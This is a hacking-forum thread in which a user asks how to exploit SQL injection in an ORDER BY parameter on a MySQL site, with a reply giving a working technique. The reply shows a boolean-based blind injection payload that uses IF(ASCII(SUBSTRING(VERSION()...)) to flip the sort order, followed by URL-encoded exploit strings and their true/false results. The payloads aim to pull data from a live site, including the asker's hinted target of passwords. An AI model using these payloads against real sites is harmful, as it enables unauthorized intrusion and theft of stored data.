10.10.2010, 18:40
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
Сообщение от Malygos
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT username FROM users ORDER BY username[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]URL[/COLOR][COLOR="#007700"]][/COLOR][/COLOR]
Is it possible to inject this? I know it is not possible to do union all select.
site.php?orderby=ASC gives ascending and orderby=DESC gives descending.
site.php?orderby=,password gives same as ASC
site.php?orderby=limit 0,1 gives only first username.
site.php?orderby=ASC, 1 gives true (everything ok on site)
site.php?orderby=ASC, 0 gives false (content missing)
orderby=ASC, 1=2 gives true (wtf?)
Any help or way to inject this? Sorry for not speaking Russian! Example, we have mysql5.
Сообщение от None
select username from users order by username
*(IF(ASCII(SUBSTRING(VERSION(),1,1))=53,1,-1))
1 user
2 user
3 user
4 user
select username from users order by username
*(IF(ASCII(SUBSTRING(VERSION(),1,1))=52,1,-1))
4 user
3 user
2 user
1 user
Код:
Exploit:
site.php?orderby=%2A%28IF%28ASCII%28SUBSTRING%28VERSION%28%29%2C1%2C1%29%29%3D53%2C1%2C-1%29%29%0D%0A -> true
site.php?orderby=%2A%28IF%28ASCII%28SUBSTRING%28VERSION%28%29%2C1%2C1%29%29%3D52%2C1%2C-1%29%29 -> false
|
|
|